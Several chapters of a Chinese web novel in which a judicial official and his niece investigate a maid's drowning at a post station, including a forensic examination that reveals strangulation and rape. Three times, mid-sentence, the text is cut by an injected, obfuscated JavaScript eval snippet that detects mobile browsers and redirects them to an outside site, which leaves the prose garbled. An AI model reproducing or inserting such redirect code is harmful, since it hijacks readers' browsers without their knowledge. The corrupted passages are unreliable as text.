晚间时分，小二将晚膳摆在崔承戟屋中。九烛齐燃，映得屋内明亮如昼。烛台边那博山炉中吞吐出一蓬一蓬的乳白色烟雾，袅袅消散于空中。 宝音垂首端坐在八仙桌前，静静翻膝上的书页，等待崔承戟归来一道用膳。 外头足音响起，先是门被吱呀一声推开，而后崔承戟阔步走进，拢袍坐于宝音对面，墨瞳如电：“今日下午好生热闹。” 宝音知道，二叔今夜特特吩咐她晚间务必到他房中用膳，果然是要过问午后之事。她梗着脖子想，自己护着绣条兄妹何错之有？非但自己没错，连榕参、贞杏也没错，但不知怎的，二叔这架势偏偏让她心里没底，好像自己真做错了什么一般。 “榕参呢？”自卢娘子事件过后，她就没看见榕参了。 崔承戟不急着回答，反是手握桌边青瓷茶盏，慢条斯理地斟了杯茶，而后推至宝音面前。碧色茶汤倒映出崔承戟与宝音，可一细看，二人却被浮叶隔开了。崔承戟垂眸又斟一杯，抿了一口：“学过茶道么？” 宝音摇摇头：“不曾。” 崔承戟轻笑：“那等回了京都，让侍郎老大人教你。他最爱品茶。” 侍郎老大人，便是崔承戟之父、宝音之祖父崔樟。因崔樟如今在门下省行走，任从三品侍郎一职，故而人称侍郎老大人。此刻崔承戟故意这样说，显见得是知道午后贞杏那句话了。 宝音忽见水面倒影处二叔的嘴角抿成直线，眼见着崔承戟恼了要发怒，宝音慌忙离座福身：“二叔，宝音知错了。” 盏中茶汤微微摇晃，崔承戟抬眸：“你有何错？” “宝音不该借祖父、二叔之名，在外掐尖要强、逞能斗胜。” 茶盏被重重掼在桌案，碧色茶汤泼泼洒洒的，溅了几滴落在崔承戟手背。崔承戟霍然起身，袍袖带翻的茶盏咣当坠地，碎成几瓣的青瓷滚落至宝音足前。崔承戟立于窗前，负手背对宝音：“你用我的名义，无论说什么、做什么，都无所谓。人人皆道我是大理寺的冷面阎罗，你便是在外说我杀人放火，那也没什么的。可你祖父不同。” “门下省掌国政机要，并审查诏令，权势极盛朝中多有忌惮。你今日无心之语，若被有心人利用，他日便是刺向我崔家的一把利刃。” 闻言，宝音心头皱缩，她没想过这么多，她以为只是女儿家斗嘴。宝音慌忙跪地：“对不住二叔，我……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367479|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道这些。宝音日后再不会了，绝对不会。” 夜风撞开雕花窗，卷着春露湿气扑往他绷紧的眉心。窗下的□□院，榕参颤颤巍巍从地上直起身，脊背后十道血痕将如水月光割得破碎，但还是强撑着朝崔承戟行全了揖礼。 直到崔承戟微微颔首，榕参才离去，踉跄背影消融于夜色中。 崔承戟转身，见小姑娘跪在地上，两手撑地，手边正是方才碎裂在地的碎瓷盏，不由蹙了眉心：“要我亲自扶？” “二叔，”宝音抬头，“我……” “知道你知错了，也知道你日后不会再犯了。”崔承戟有些无奈。纵是他再如何生气，纵是他来之前便想好如何罚宝音，可这会子一见到小姑娘认错后可怜兮兮的样子，心底软了又软，原本想没收她那些医书药典的心也歇了，特特寻来、藏在袖中的戒尺也被忘了，只剩下妥协。 宝音忙点头：“绝对不会再犯。” 崔承戟将她拉起，携她入座：“若再犯呢？” “二叔就罚我，打我掌心。” 崔承戟不由笑开，方才绷紧的眉梢此刻也松快了，但声音还是冷津津的：“昔年因我之故，御史台连递十二道折子弹劾崔氏跋扈，便是父亲替我挡下了。这几年父亲就要致仕，宝音和我都不可再节外生枝，惹老人家替我们操心，明白吗？” 宝音握着崔承戟的手，郑重点了点头。 “还有一件。”崔承戟坐回宝音对面，肃声，“今日下马车，你要榕参抱你？” 宝音不解，歪了头看二叔：“榕参让我踩他背下去，我不要。之前不也是二叔抱我上车的么？” 崔承戟指节叩桌：“等回了京都，莫说榕参，便是我，日常与宝音相见也最好是隔帘避影。京都城中规矩繁冗，一言一行都有人注视，我知宝音心思纯净，可若落在有心人眼里，编排出闲话来，漫说你祖父的乌纱帽要被人唾沫星子淹了，便是你自己也要受人背后指摘。” “可我，可我……” “我知道，宝音还小，可那些闲言碎语是从不会怜惜人的。除了榕参，还有屠苏……”未待崔承戟说完，宝音猛然抬头，直勾勾望进他眼里。宝音瞧了他几瞬，忽而像明白什么似的，怅声：“怪不得，怪不得，怪不得二叔要专门为屠苏租辆马车，又让他跟在我们后面，不许追上。” “宝音……”崔承戟一时噎住。那些方便屠苏养伤确实是他的粉饰之词，让屠苏与宝音再不相见也确确实实是他原本的目的。 前几日屠苏有意躲她、不搭理她的景况慢慢浮现，宝音终于想明白屠苏的异样，不是他恼她，而是二叔警戒了他。宝音攥紧膝头襦裙，她只是很想感谢屠苏的救命之恩而已。她从榕参处听说了，那夜雀音阁大火，是屠苏伏在她身上，让火烧他自己，才免了宝音很多皮肉之苦。光这一件，宝音对屠苏的愧疚与感恩就是一辈子的，就像宝音对二叔的感恩、依赖和种种希望二叔好的情愫也是一辈子的。 宝音垂头嗫嚅：“我知道了。” 她知道二叔是望她好，知道那些虚无缥缈的男女大防，也知道自己无力对抗这些。她所能做的，只有说一句“明白了”，可到底还是不甘心，她清清白白一颗心，待人也干净纯粹，凭什么要为了这些所谓礼教规矩泯灭本性呢？ 这厢宝音和崔承戟的结还没有解开，房门已教榕平推开，他大口喘气：“大人，小姐，午后那卢娘子身边的婢女死了！” 26. 妥协 暮色四合，周遭雾气弥漫，只远处零星几个灯光。农人童沙家在前头的山延村，出门拾柴，这会子才归家。他一路沿大道走来，盯着前头灯光方向，掐指算是官驿的夜灯，心里也踏实了不少。距官驿还有千百步脚程的时候，童沙忽感内急，抖抖背上柴火小跑至河边就要放水。裤带才解了一半，童沙展眼看到泊在岸边的废旧渡船旁似飘着什么，他一壁放水，一壁眯了眼去瞧，只见渡船旁飘飘悠悠泡着一人。那人面朝下，浮在水面，随夜风轻轻摇晃。 童沙吓得腿一抖，小溲横截掐断，他边哆嗦着系上裤带，边朝灯光跑去。不多时请来官驿店家，史掌柜率三五个小幺儿举了火把过去，那尸体横陈于芦苇荡中，青缎衫子吸饱了水，夜色中绿得发黑、发紫，又将身段裹得玲珑窈窕，显然是个女人。史掌柜眉峰一挑，想到自家官驿中并无女伙计，而常走此条大路的农人也鲜少有女人的，如此一来很大可能是今夜歇在官驿中的女子。他右眼皮跳个不歇，但到底还是指挥着小幺儿们把尸体拖上来，众人翻身一瞧，死者赫然是那跟在卢评芳身边的垂红儿，面皮都泡得虚浮皱缩了。 因已入夜，一时之间无法报官，偏巧崔承戟这京都大理寺判官歇在驿馆，史掌柜便有意请崔承戟破案，早些了结此事。 崔承戟、崔宝音叔侄下楼时，垂红儿已陈尸在大堂窄长木桌上，由一方白布盖住。卢评芳由两个丫鬟搀扶着，哭倒在垂红儿尸身旁。绣条及其阿兄缘条垂首立在旁边，卢评芳掩面哭了一阵，忽浑身一抖嗦，像大梦初醒般盯住缘条、绣条兄妹，指着缘条鼻子骂：“是你！你怀恨在心，故意杀害绣条！” 缘条听了，瞪着眼，嘴张了半日，到头来只说出：“不是我……怎会是我……我跟她无冤无仇的，我杀她做甚！”缘条是那类老实不爱说话的人，哪怕到了该给自己分辨的时候，也只知反复强调“不是自己”，有时候他当真是清白被冤枉，如此说反而越描越黑。碰上卢评芳这样嘴上功夫厉害的女子，他更如锯了嘴的葫芦，是有理也不知如何说。 卢评芳立时啐他一口：“怎么无冤无仇？你心里记恨我们说你是河边驮粪驮泥的，是也不是？所以你趁垂红儿出门，把她诱到河边，亲手杀害了她，是也不是？要不你说，我们都是从不去河边的人，怎生垂红儿偏偏去河边、又死在河里？满屋里，除了你，谁最通水性？” 这番话分析得鞭辟入里，缘条痴痴瞪圆双目，不知如何开口。崔承戟单手负在身后下楼，随口问：“既然这垂红儿之死教你如此伤心，怎么起初她不见时，不见你寻她，反是卢掌柜把人带回来的？”崔承戟踱至尸身前，虚虚掀起遮尸布，但看垂红儿肿胀程度，沉声：“肌肤皱缩，已有浮肿症状，可见垂红儿在水里泡了有小一个时辰。这一个时辰，你难道不曾发现贴身侍女失踪？” 卢评芳遭他一噎，这才端正眸子看眼前人通身气派端方矜贵，又见宝音立在他身后，心中猜想此人便是那大理寺少卿崔承戟了。方才跋扈模样暂且收敛三分，卢评芳抚心皱眉叹息：“因我午后打了她一巴掌的缘故，她臊了，跑出去就不见了。从前也有这样的，第二日早上就又好了，没想到……没想到……”言及此处，卢评芳扯了帕子拭泪。 史掌柜捻须道：“说不定正是你下午那一耳光，臊得她无地自容，自己投河了。” “不可能！”卢评芳吼道，“从前又不是没打过她，岂可能这次受不了投河自溺了？怎么从前她不寻死，偏偏今遭寻死？” 此言一出，宝音、贞杏及其他女客无不拧眉，卢评芳瞧见宝音这番模样，不由冷笑道：“这妮子嘴巴厉害得很，不打几下子她记不住的。”她一把抹去眼泪：“垂红儿打小跟着我，算我半个姐妹，今日她先我而去，我总得替她尽份心。”卢评芳边说边将鬓上簪钗拔下，搁在白布上：“史掌柜，借你宝地停一晚上灵。明日一早，还请你寻些和尚杠夫来。” 崔承戟出言阻她：“人平白无故死了，难道你不想替她寻到凶手、为她报仇？” 卢评芳冷哼一声，目向缘条，一字一顿地道：“他是崔大人、崔小姐的人，我能怎么报仇？” 绣条再也按捺不住：“阿兄不可能杀人！方才阿兄一直与我待在一处，根本没时间杀人。” “谁瞧见了？”卢评芳环视四周，“谁瞧见了？你是他妹妹，自然向着他说话，你的话谁信得？” 果真无人见到缘条踪迹，众人见卢评芳如此气盛，也不敢冒头刺她，只低眸看地上。宝音将此情此景看了个饱，她想着缘条嫌疑虽大，可看他为人做派不像是沉不住气、动辄杀人的，其中必有其他缘故。因此，宝音近前一步，道：“大理寺少卿在此，何必劳动你嘴上断案？是不是缘条杀的，验尸便知。” 乍闻“验尸”二字，在场人泰半变了神色。按此地风俗，验尸不吉，除非死相极惨，才有可能验尸。崔承戟听见“验尸”二字，心下一惊，唇线绷直去看宝音，他隐隐猜到宝音的心思，虽有不悦，但还是按捺住。卢评芳也是将两条细眉凝住，瞪眼看看宝音，又看崔承戟：“不行，不行……” 宝音更不解了：“不验尸，如何寻到真凶？” “垂红儿同我一般年纪，如花似玉姑娘，怎……怎能让外男开膛破肚？”卢评芳有些惊恐地看向崔承戟。 崔承戟适时开口：“寻常验尸，不至于到开膛破肚的地步。若是缘条推她落水，她身上想必有遗留线索，指向缘条。除非——”他眼风凌厉目向卢评芳：“垂红儿死因有疑。” 卢评芳咬唇：“那你如何验尸？” “观她死状，看她身上有无溺毙以外的死亡痕迹。” 卢评芳绞着衣袖：“看她身子？要脱衣服么？” 崔承戟不置可否。 那一旁的史掌柜也附和卢评芳：“这卢小姐不愿，也是情有可原。垂红儿十几岁的小女娘，死后还要被人玷污清白，实在、实在不合礼数。” 崔承戟立时蹙紧眉头，侍立一侧的榕平此刻抬头，斥道：“我家大人官拜大理寺少卿，专掌刑狱讼案。莫说是这溺毙的妇人，便是皇亲国戚暴毙，也少不得也要请仵作勘验，此乃查案铁打的章程，你说什么玷污清白！” 人群中有人悄悄冒出一句：“可男女大防岂容……” “既然如此，明日就将垂红儿入土为安。”崔承戟居高临下看卢评芳，截断话头，“至于缘条，单凭你一面之词，断然是判不了他的罪。或许，垂红儿是在河边失足落水，也为可知。” 话落，卢评芳低了头。崔承戟说得有理，如果没有直接证据证明缘条是杀人凶手，她根本没有办法替垂红儿报仇。可倘若要查，如今只有验尸。卢评芳深吸一口气，垂红儿泡胀的尸首就在眼前晃着，卢评芳为人虽跋扈，但与垂红儿情谊倒是真的，到了此间境况，她是真心实意为自己这半个朋友谋算清白名声。 “如果我来呢？”宝音上前一步，一时间众人目光全落在宝音身上，“我是崔少卿的侄女，从前受崔少卿指点过验尸之法，如果我来验呢？” 方才心内猜想成真，崔承戟缓缓移了目光看向宝音：“唯有仵作才可验尸，你，还不够格。” 宝音浑身血液一僵，这是崔承戟头一遭与她说这样严重的话。 崔承戟将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393793|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝音情绪扫进眼底，到底强硬着说道：“仵作身份皆钤官印，你一闺阁女儿……” 卢评芳忽的截断话头：“就让崔小姐来！”她猛然抬头：“我要查出真凶，为她报仇。” 见卢评芳如此说，宝音忙跪地乞求：“二叔，我可以的。验尸时设一道屏障，二叔教我步骤，我来验，可以吗？” 卢评芳旋即附和。 史掌柜眼睛转了一轮：“这是个法子。” 崔承戟喉结滚动，他终究还是不愿宝音染指仵作验尸这等事，可到了如今此番地步，他似乎已无拒绝的理由了。他抿唇，终是妥协：“……好。” 史掌柜忙使唤小幺儿们动作起来，他亲自开了一楼的一间空房，教人抬垂红儿尸体进去。门上用毡帘隔断，卢评芳站在毡帘下，抬头望了望，毅然走进去。 宝音跟在后头，崔承戟唤住她：“宝音。” 宝音应声驻足，转身望他：“二叔。” 崔承戟半矮身子，视线与宝音平齐，他眉心蹙得很紧，棱角分明的脸此时显得疏离凌厉：“你没见过死人，更没见过溺亡之人。宝音，现在后悔，还来得及。我会传信给周遭府衙，教他们寻一位会验尸的女仵作来。” “大燕有女仵作吗？”宝音轻轻问出声。 崔承戟哽住，他错开眸子：“也可找个医女来。” “二叔，这些日子我看完了整整两本医书，我也懂些医术了。” “可是，”他咬唇道，“宝音，你当真准备好了吗？溺毙之人，比寻常人的死状更可怖。” 宝音忽扬起笑靥，伸手握住崔承戟垂在身侧的硬拳：“二叔，我现在是有些怕，但也很开心，我有自己的价值了，哪怕是一点点。如果我早点有自己的价值，也许贞杏、屠苏不会受伤，榕度他们不会死。” 拳头渐渐松开，崔承戟叹出一口浊气：“……好。”他唤了一声榕平，旋即榕平双手托漆盘而来，盘上置一红漆木匣，一团几近透明的丝线，两方姜汁浸过的桑皮纸，可覆在脸上，仅露双目。 崔承戟一壁将桑皮纸细心绑在宝音脸上，一壁絮絮嘱咐：“红旗木匣里是验尸器具，你皆可使用。除非表皮毫无伤痕，不必破开肌肤。这姜汁浸过的桑皮纸可护你免遭尸气入体，还有一张，你给卢小姐带上。”他抬眸再看一眼宝音，怅声：“二叔就在毡帘外，有什么你只管告诉我。” 宝音郑重点头：“嗯，我省得了。所见所闻，悉数告诉二叔。” 他又将丝线系在宝音手腕，另一头则系在自己手掌：“那卢小姐跋扈性子，垂红儿之死不一定与她全无干系。若她在里头有阻挠，或者要伤你的，你立时喊出来。若喊不出来，你只需急速抽动一下丝线，二叔立刻去救你。” 宝音低头看腕间丝线，忽觉和煦春风拂过心田，她笑了笑：“谢谢二叔。” 待再无可交待嘱咐的了，崔承戟这才放宝音进去。他几乎贴着毡帘，凝眸看手中丝线一点一点游进屋中，心底七上八下，比以往任何一次办差皆要心惊肉跳。 等里头传出宝音声音：“二叔，我们好了，可以开始了。” 崔承戟慢慢抬眸：“掀开遮尸布。” 随他音落，屋内立时传出两位女娘的惊呼。 崔承戟紧张地忙问：“怎么了？” “没，”宝音抚心口，迫使自己冷静，“没什么，就是有些吓人，她的脸……” “肌肤都皱缩了，是吗？” “是。”宝音皱眉看躺在木桌上的垂红儿，死死咬住下唇。 身侧，卢评芳已跌坐在地上，大口大口地喘气。 27. 验尸 垂红儿此刻的模样比崔承戟口中更为可怖，肌肤皱缩挤出无数褶子，青白面皮却又肿胀起来，一皱一胀，垂红儿的脸此刻就像皱紧五官后被千斤顶压平了。 “知道如何看她是否溺水吗？”崔承戟隔着毡帘问。 “知道。”宝音忙答。她小心翼翼近前，轻轻抬起垂红儿一只手，五指中有明显淤泥，宝音道：“垂红儿指缝有泥。” 她又自红旗木匣中取出一只镊子，探入垂红儿鼻腔，轻松带出三两根极细的藻叶。宝音将藻叶搁在素帕中，高声同崔承戟道：“二叔，垂红儿鼻窦含藻叶，落水时应当是活着的。” 卢评芳靠在一边附和：“那必然是缘条把她推入水中，害她溺死。” “闭嘴。”宝音回头瞪她，“光靠你一面之词就能断案，验尸也不必继续了，二叔也不必任少卿了，大理寺只需把你请过去，其他人全部革职。” 卢评芳被她一噎，悻悻地住了口，靠在旁边紧盯宝音动作。 崔承戟在毡帘外沉思几瞬：“死前挣扎抓握河床，故而指缝有泥。口鼻含草，可见落水时尚能呼吸。宝音，很好。” 听见二叔沉稳声音，宝音心中也觉得踏实不少。自方才的心惊肉跳，到此刻呼吸平缓，宝音觉到自己已能渐渐适应。她攥住镊子问：“接下来做什么？” “身上有尸斑吗？”崔承戟敛眸。 闻言，宝音立刻细观垂红儿面额，但无甚发现。她咬了咬牙，拨开垂红儿衣领，青缎布子饮饱了水，涩重非常，宝音只摸了一把，手上便湿了，到底是十二岁的女娘，心里又腾起些异样的情绪来。她在心中想：这可是死人身上的水呀。关于死的恐惧又袭上宝音心头。 卢评芳见宝音动作微顿，忙道：“愣着做甚？” 她声音尖细锐利，立时将宝音扯回来。宝音深吸一口气，继续解开垂红儿身上衣裳，冷白肌肤紧紧贴着锁骨，再往下则由一件绯红蝴蝶肚兜裹住，勾出玲珑身段。书上说，若是溺亡尸体俯卧漂浮，那尸斑多集中于胸前腹面。宝音抖着手解开肚兜，一对饱满红眼小兔跳将出来，毫无生气地抖了抖。宝音忙错开眼，正对上身后卢评芳愣住的脸，后者冲上前，扯了袖衫遮住垂红儿胸前，厉声：“毬不要脸的！干什么！” 宝音有些局促，说话声音也不似方才有理有据有底气了：“我……这，溺死的人尸斑一般集中在胸前腹部，我要看尸斑！” 卢评芳咬唇盯住她，过了好几息，猛地丢开手，冷笑不止：“大燕王土甚广，没想到拢共十个州竟没有一个女仵作。” 宝音手一僵，如被惊雷劈中灵台。她缓缓望向垂红儿安静阖目的脸，声音很低：“是啊。会不会有很多被迫害至死的女人，因死后清白名声，家人不许仵作验尸，而草草了结一生呢？” “宝音？”崔承戟在帘外唤她。 宝音听见崔承戟声音，忙重新凝聚心神继续验尸。她上齿咬住下唇，指尖攥住袖口，凑近垂红儿胸前敛眸细看，果不其然，肌肤表面已隐隐显现尸斑，大部分集中于胸前和腹部。宝音答道：“二叔，有尸斑。” “胸腹面？”崔承戟迅速追上话。 宝音与卢评芳对视一眼，后者别过脸，宝音笃定答：“是的。” “嗯。”崔承戟沉吟道，“劳宝音再按压垂红儿腹部，看她口鼻是否有溺液。” 宝音依言照做，垂红儿口鼻当真渗出水液。 “有！”她迅速喊道。 崔承戟的声音很快传来：“垂红儿果真是溺死的。” 卢评芳却不耐烦了：“崔大人，你做这么多，就仅仅断出垂红儿溺死？我也瞧得出她是溺死的呀！” 崔承戟并不理会，依旧是那平稳腔调：“宝音，现在看她身上是否有外伤。” 宝音应了一声，将垂红儿上半身衣裳剥下，半个身子露出来，死寂的冷白晃了宝音和卢评芳的眼。宝音正想脱她亵裤，却教卢评芳一手握住腕子。卢评芳声音像浸透冰水：“你也是女子。” 宝音推开卢评芳的手：“所以不忍见她死得不明不白。” “是为了那个缘条？”卢评芳冷笑。 宝音恼了，厉声：“若是为了缘条，此刻连尸也不必验了。难道我二叔还没有断案的能力吗？我大可请二叔随意点个凶手，难道众人敢怀疑刚刚立功的大理寺少卿？” 卢评芳把脸一扭，再不作声。 “捧盏灯来。”宝音一壁吩咐她，一壁轻轻褪下垂红儿亵裤。 卢评芳点了烛台，平掌护住烛光，与宝音一起凑近垂红儿身体。宝音自垂红儿脸颊开始观察，在看到垂红儿脖颈间隐隐红痕时，宝音轻呼出声：“二叔，她脖颈间似有淤血！” 帘外崔承戟心下一动，盯住掌间丝线的眸子稍敛：“看来，垂红儿死前不久遭人扼脖。” 此言一出，候在门外的众人无不倒吸一口凉气。垂红儿之死当真有疑！随着这个念头在众人心间漫开，几道目光于微微烛光中悄悄落在缘条身上。紧跟在崔承戟身后的缘条，此刻满额皆是汗珠儿。绣条惊恐转头，不可置信地看着缘条——她本握着缘条的手，此刻，缘条掌心全是冷汗。 夜风吹过，卢评芳掌中烛台的微光轻晃。宝音继续向下看，到了小腹处时，她目光滞住，余光中卢评芳也垂了眸，声音不咸不淡：“都到这步田地了，你臊什么。” 宝音抿抿唇，虽说本该不放过一丝可疑之处，可越靠近那处地界儿，宝音心里越紧张。她匆匆扫了一遍，迅速将目光移到垂红儿大腿处。垂红儿两腿细长，骨肉匀称，一眼扫过去又白又直，粗看瞧不出什么异样。 “你把烛台凑近点儿。”宝音却蹙眉盯着垂红儿大腿内侧相接之处。 等烛光贴近垂红儿大腿，宝音和卢评芳无不倒吸一口气。垂红儿大腿内侧分明有两道血色瘀痕！ “怎么会在这？”宝音拧着细眉。她想掰开垂红儿大腿仔细观察，可刚伸出手，就教卢评芳一掌拍开。 “你干什么！”宝音气恼，“都这会子了，你还拎不清！你不想给垂红儿讨个明白吗！” 卢评芳梗着脖子凝盯宝音，她一手举烛台，一手扣住宝音的手腕子，声音不高，却有力量：“你不是学了仵作之法吗？你还不明白吗？”她眼圈渐渐红了：“你要是把这告诉崔少卿，垂红儿名声就毁了！” 卢评芳年交双八光景，比宝音整整大了四岁，自然也比宝音更知人事。方才她看垂红儿腿间的伤痕，附近糊了几点浊白，便什么都明白了。外头不仅仅有崔承戟、缘条这些人，还有此间官驿的掌柜、小二们，还有今夜入住的、来自五湖四海的男男女女。于卢评芳和垂红儿而言，这些今夜有缘的陌生人在明日天亮之际，便会各奔东西，此生再不相见。也许有人跟她一样要去京都，也许有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410111|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会往南边走，可是不管去哪，他们都会记得，今时今地，有个叫垂红儿的小女娘孤零零死在河里，生前遭人被人辱了清白。垂红儿的苦难会成为这些人茶余饭后的谈资，就像卢评芳的母亲那样。卢评芳抬手抹掉眼泪，此刻，她再也不想什么寻出凶手，只想垂红儿好生安息。 可宝音不明白卢评芳的苦心，她一把挣脱开卢评芳的手：“那你就要让杀害垂红儿的凶手逍遥法外吗！” 卢评芳抿唇看向地面：“找到了又如何，垂红儿人都死了。” 宝音不可置信地望着卢评芳：“可方才你明明那样生气，你明明那么替垂红儿不平，怎么这会儿退缩了？” 卢评芳抬眸，吊梢丹凤眼里全是清泪，压低声音：“那怎么办，让外头人都知道垂红儿是被人奸.杀的吗？” 宝音愣怔，呆在原地。 “崔小姐，枉你称自己受崔少卿教导过仵作之法呢，这都看不出来吗？”她拽了宝音的手，指向垂红儿腿间，“无缘无故的，大腿内侧怎可能有伤？若非那歹人行凶之际强行掰开她的腿，怎会有瘀血？”卢评芳攥住宝音手，迅速指向粘了阳精之处：“还有这里，为何会有男子精.血？” 宝音吓得缩回手，胸脯起伏不停。她虽在书中看过此类相关记载，可每次读时都是红着脸匆匆翻阅，况兼宝音从来没有见过这□□液体，还当是汗渍。此刻卢评芳点出来，宝音又臊又窘，臊的是宝音听见“男子精.血”便十分不好意思，窘的是她读了这么些医书，到头来还不如卢评芳眼力。 在宝音愣神之际，卢评芳迅速扯了遮尸布盖住垂红儿身躯。她拉着宝音朝外走，毡帘猛一挑起，入目先是崔承戟。他显然未料到宝音二人这就出来了，拧眉望着她们：“怎么出来了？” 宝音刚想说什么，卢评芳一把扯下脸上的姜汁桑皮纸，率先开口：“她就脖子上有外伤，其他再没有了。我和崔小姐在里头待得很不舒服，验尸就到这里罢。” 崔承戟喉结滚了滚，看向宝音，后者则始终垂头，不发一言。他眉心舒展：“好。”而后，转身同史掌柜与榕平道：“劳掌柜带一位小幺儿，领我们去发现垂红儿尸体的地方走一遭。”他顿了顿，盯住童沙：“你也一起。” 史掌柜答应了一声，忙点了一名小幺儿，唤他多烧两个火把来。其他人也被崔承戟叫了散去。 崔承戟替宝音摘下桑皮纸面罩，小女娘清丽的面庞露出来，只是细眉微皱，唇瓣紧抿，似乎有难言之隐。崔承戟轻声：“宝音，怎么了？” 宝音迅速收拢思绪：“没，没什么。”她想起方才忘记给垂红儿穿上衣服，忙要转身：“我忘记给她穿衣服了，我给她穿上。”只是声音里藏着哭腔。 崔承戟拉住她：“宝音先回去休息。我教人看守这里，不许人进去。你这会儿给她穿衣服，只怕毁了什么证据。” 他温声：“等二叔回来，好吗？宝音。” 宝音垂头，用力“嗯”了一声。 “贞杏，送小姐回去休息。” 待见到宝音身姿消失在二楼回廊，崔承戟叫住也要上楼的卢评芳：“方才你们脱垂红儿衣裤的时候，她腰间汗巾子系的结，解下来方便吗？” 闻言，卢评芳刚要骂他下流，灵台却如猛然受到一击。 方才宝音褪垂红儿衣物时，那汗巾子的系结方向，于她们而言，解开正正顺手。 28. 凶手 汗巾子系结方向对她们来说正好顺手，可见垂红儿腰间的汗巾子是外人系的，并非她自己。而这个人，很可能就是凶手。 崔承戟冷不丁问出这话，可见他已从宝音、卢评芳二人的异样发现端倪。一息之间，冷汗纷至，卢评芳怯怯望向崔承戟，后者只冷眼看她，嘴角噙一抹意味不明的笑：“本官省得了。卢小姐早些歇息。” 卢评芳心中像揣了只小兔，砰砰直跳。听崔承戟如此说，卢评芳忙福身作了个礼，转身就往二楼走。 “卢小姐，”崔承戟盯住卢评芳背影，冷然开口，“我家姑娘年岁小，有些话，她听不得。” 卢评芳脚步一顿，旋身认真道：“她既要当仵作，便没有听不得的话。” “她不会成为仵作的。”崔承戟说得笃定。 他冷面冷眼，森然伫在几步之外，全然没有方才温声同宝音好言说话的样子，仿佛生死皆在身外，而他立足阴阳两界，视人命若蝼蚁。卢评芳心下一坠，不期然瞥见官袍衣摆几点洗褪色的褐红，教人看了心底发怵。卢评芳咬唇，颤声道了扰，忙扶着丫鬟的手回房休息。 等卢评芳也回了屋，史掌柜、童沙及驿馆小幺儿已举了火把候在门外。崔承戟只唤榕平跟随，其余人皆守在驿馆，尤以护好宝音和看押郑伯益为最重要。安排妥帖完毕，崔承戟方领着四人，由童沙带领，施施往河边来。 彼时天已大暗，月牙儿隐在重重乌云之后，四下里黑魆魆，唯身后官驿灯光明明晃晃。众人擎着松明火把，勉强照见三尺来路。才行得三二百步，崔承戟忽将身形一顿，撩袍蹲身路边，将火把凑近泥路，沉声：“且住。”就着昏黄光影，崔承戟细辨泥径，俄而抬首问史掌柜：“这条官塘大道，寻常都是哪些人往来？” 史掌柜忙不迭趋近两步，弯腰叉手回得恭敬：“回崔大人的话，此为贯通大燕十州的官道，车马辚辚日络绎不绝。不过，左近乡民赶集上县抑或是别的什么，也多由此路步行。” “步行？”崔承戟眯眼看几只教尘土污过的脚印，沉吟道：“如此说来，富庶人家都是坐马车走这条道的了？” 史掌柜赔笑道：“自然。能做马车歇着，何必走路呢？莫说富户缙绅，便是寻常行商也惯乘骡马，再不济还有驴车代步。” “那惯常徒步跋涉的，就是附近乡民了？” 史掌柜眼睛一转，笑道：“还有些流民乞丐，都是前些年了。这几年圣上孝治天下，海晏河清，流民乞丐倒是少见许多。” “走罢。”崔承戟撑膝起身，敛眸四望。夜色中，河岸芦苇随风摇晃，簌簌作响，似魑魅魍魉鬼吟低唱；白絮纷飞，如万千鬼手暗夜招摇。接下来的千百步路，崔承戟又两度驻足，同样是俯身端详路边脚印痕迹。 如此走走停停，众人花一炷香时间才行到垂红儿陈尸处。童沙神色激动，指那破旧渡船，颤声将自己如何尿急、如何放水、如何猛然瞥见船边浮尸，又是如何哆嗦着跑回客栈，絮絮叨叨说了个圆满。崔承戟立在河边，半张脸隐在夜色中，始终不发一言。等到童沙说完、大口喘气，崔承戟才指着岸边向一侧垂倒的芦苇道：“当时可曾注意到那些倒伏的芦苇？” 众人沿崔承戟手指方向望去，四只火把照出不远处苇杆齐刷刷向东歪斜，被薄薄枯草芦苇丛遮掩住，若无火把照亮，暗夜中绝难发现。童沙忙不迭抻头去看，跌足叫道：“天爷！被这几丛芦苇掩着，当时竟真没注意。” 崔承戟又道：“拨开地上的芦苇看看。” 童沙依言走近，拨开芦苇，但见泥地里脚印纷乱，还有一道连续凹陷的拖痕，直直伸到河里。众人无不倒吸一口凉气，原来此处才是垂红儿遇害所在。而这道拖痕两侧，更有断续足印，印在泥里痕迹深浅不一。 崔承戟适时开口：“适才官道所见新脚印，步幅足有五尺开外的，有三个。而寻常人疾行，也才不过三四尺间距。足见这三人行走时匆忙着急，本官想，其中一个应当是童沙。另一个足印，靴底有明显钉痕。可按史掌柜所言，这条道徒步行走的，往往是附近乡民或流民乞丐。”他顿了顿：“这些人怕是穿不起钉靴。” 